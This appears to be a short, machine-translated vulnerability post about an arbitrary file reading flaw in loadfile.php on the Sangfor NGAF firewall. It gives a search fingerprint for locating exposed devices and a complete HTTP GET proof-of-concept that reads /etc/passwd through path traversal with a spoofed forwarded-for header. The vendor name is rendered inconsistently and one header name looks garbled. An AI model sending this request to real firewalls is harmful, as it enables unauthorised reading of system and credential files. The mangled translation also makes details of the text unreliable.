Deepin Conscientious Ngaf Next Generation Firewall Loadfile Php Arbitrary File Reading Vulnerability
Deepin Conscientious Ngaf Next Generation Firewall Loadfile Php Arbitrary File Reading Vulnerability
Deepin Conscientious NGAF next-generation firewall loadfile.php arbitrary file reading vulnerability
Vulnerability Description
Deepinfo Next Generation Firewall is a next-generation application firewall designed based on application security needs.
Vulnerability Impact
Shenxin NGAF next-generation firewall
Network surveying and mapping
“Redirect.php?url=LogInOut.php”
Vulnerability reappears
Login page
Verify POC
1
2
3
4
5
6
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
User-Agent: Opera/8.90.(Windows NT 6.0; is-IS) Presto/2.9.177 Version/10.00
Accept-Encoding: gzip, deflate
Accept: */*
y-forwarded-for: 127.0.0.1
This post is licensed under CC BY 4.0 by the author.